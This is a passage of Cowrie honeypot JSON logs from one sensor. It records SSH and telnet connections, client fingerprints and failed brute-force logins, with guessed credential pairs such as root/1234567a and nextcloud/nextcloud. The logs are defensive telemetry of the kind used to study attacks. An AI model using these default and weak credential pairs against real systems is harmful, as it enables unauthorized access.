256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.343616Z","src_ip":"45.156.87.204","session":"f7ef7c8fb1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.177860260009766,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.449413Z","src_ip":"34.156.127.48","session":"8fa674d78aaa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.837009Z","src_ip":"45.156.87.204","session":"f7ef7c8fb1f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00161075592041,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:03.995337Z","src_ip":"152.42.224.71","session":"714eab724d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:04.922921Z","src_ip":"45.156.87.204","session":"f7ef7c8fb1f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46516,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4b51d7cb78b","protocol":"telnet","message":"New connection: 152.42.224.71:46516 (10.17.0.5:23) [session: c4b51d7cb78b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:05.154016Z"}
{"eventid":"cowrie.session.closed","duration":54.83296346664429,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:06.719640Z","src_ip":"152.42.224.71","session":"bd07cbffafb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39496,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ebc8ff1e192","protocol":"telnet","message":"New connection: 152.42.224.71:39496 (10.17.0.5:23) [session: 1ebc8ff1e192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.132908Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52428,"dst_ip":"159.203.135.109","dst_port":22,"session":"352c7040e5fd","protocol":"ssh","message":"New connection: 45.156.87.204:52428 (159.203.135.109:22) [session: 352c7040e5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.251925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.256914Z","src_ip":"45.156.87.204","session":"352c7040e5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.339602Z","src_ip":"45.156.87.204","session":"352c7040e5fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.587565Z","src_ip":"45.156.87.204","session":"352c7040e5fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":58188,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f18f82ca6b1","protocol":"ssh","message":"New connection: 170.106.151.211:58188 (159.203.135.109:22) [session: 0f18f82ca6b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.742490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.747077Z","src_ip":"170.106.151.211","session":"0f18f82ca6b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:07.816232Z","src_ip":"170.106.151.211","session":"0f18f82ca6b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567a","message":"login attempt [root/1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.122827Z","src_ip":"170.106.151.211","session":"0f18f82ca6b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39510,"dst_ip":"10.17.0.5","dst_port":23,"session":"41f2be90835b","protocol":"telnet","message":"New connection: 152.42.224.71:39510 (10.17.0.5:23) [session: 41f2be90835b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.144923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":35944,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b37a17e7a6e","protocol":"ssh","message":"New connection: 103.27.238.116:35944 (159.203.135.109:22) [session: 7b37a17e7a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.474450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.478931Z","src_ip":"103.27.238.116","session":"7b37a17e7a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.672887Z","src_ip":"45.156.87.204","session":"352c7040e5fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:08.745351Z","src_ip":"103.27.238.116","session":"7b37a17e7a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:09.194754Z","src_ip":"170.106.151.211","session":"0f18f82ca6b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.03640913963318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:09.201948Z","src_ip":"152.42.224.71","session":"66e275ae160d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nadejda","message":"login attempt [root/nadejda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:09.542006Z","src_ip":"103.27.238.116","session":"7b37a17e7a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39524,"dst_ip":"10.17.0.5","dst_port":23,"session":"63129ba88bcd","protocol":"telnet","message":"New connection: 152.42.224.71:39524 (10.17.0.5:23) [session: 63129ba88bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:10.138440Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":52432,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2baee8e4e29","protocol":"ssh","message":"New connection: 45.156.87.204:52432 (159.203.135.109:22) [session: e2baee8e4e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:10.749801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:10.754842Z","src_ip":"45.156.87.204","session":"e2baee8e4e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:10.809394Z","src_ip":"103.27.238.116","session":"7b37a17e7a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:10.837406Z","src_ip":"45.156.87.204","session":"e2baee8e4e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:11.089415Z","src_ip":"45.156.87.204","session":"e2baee8e4e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:12.174555Z","src_ip":"45.156.87.204","session":"e2baee8e4e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.55536389350891,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:12.276488Z","src_ip":"152.42.224.71","session":"544e6cb2f681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39538,"dst_ip":"10.17.0.5","dst_port":23,"session":"8639ffc9c7d3","protocol":"telnet","message":"New connection: 152.42.224.71:39538 (10.17.0.5:23) [session: 8639ffc9c7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:13.178505Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43388,"dst_ip":"159.203.135.109","dst_port":22,"session":"081c7f851234","protocol":"ssh","message":"New connection: 45.156.87.204:43388 (159.203.135.109:22) [session: 081c7f851234]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:14.618487Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:14.711895Z","src_ip":"45.156.87.204","session":"081c7f851234","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:14.717626Z","src_ip":"45.156.87.204","session":"081c7f851234","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"work","password":"work","message":"login attempt [work/work] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:15.085886Z","src_ip":"45.156.87.204","session":"081c7f851234","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:16.172728Z","src_ip":"45.156.87.204","session":"081c7f851234","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43412,"dst_ip":"159.203.135.109","dst_port":22,"session":"0544fe1a1840","protocol":"ssh","message":"New connection: 45.156.87.204:43412 (159.203.135.109:22) [session: 0544fe1a1840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.329432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.337186Z","src_ip":"45.156.87.204","session":"0544fe1a1840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.419536Z","src_ip":"45.156.87.204","session":"0544fe1a1840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.668058Z","src_ip":"45.156.87.204","session":"0544fe1a1840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58228,"dst_ip":"159.203.135.109","dst_port":23,"session":"fafe9f7370c6","protocol":"telnet","message":"New connection: 34.156.127.48:58228 (159.203.135.109:23) [session: fafe9f7370c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.736856Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.742464Z","src_ip":"34.156.127.48","session":"fafe9f7370c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.746685Z","src_ip":"34.156.127.48","session":"fafe9f7370c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.215333938598633,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.797235Z","src_ip":"34.156.127.48","session":"306712e06ca4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.94103980064392,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.821998Z","src_ip":"152.42.224.71","session":"618dbedf9f22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09023714065551758,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.826974Z","src_ip":"34.156.127.48","session":"fafe9f7370c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58232,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f19ef28039","protocol":"telnet","message":"New connection: 34.156.127.48:58232 (159.203.135.109:23) [session: f9f19ef28039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:18.899064Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58234,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bde9fa9da9a","protocol":"telnet","message":"New connection: 34.156.127.48:58234 (159.203.135.109:23) [session: 7bde9fa9da9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.052687Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58240,"dst_ip":"159.203.135.109","dst_port":23,"session":"0de1395f9810","protocol":"telnet","message":"New connection: 34.156.127.48:58240 (159.203.135.109:23) [session: 0de1395f9810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.206160Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58254,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d649ccfd637","protocol":"telnet","message":"New connection: 34.156.127.48:58254 (159.203.135.109:23) [session: 3d649ccfd637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.360614Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.156.127.48","src_port":58264,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fe7687693d5","protocol":"telnet","message":"New connection: 34.156.127.48:58264 (159.203.135.109:23) [session: 2fe7687693d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:59:19.516804Z"}
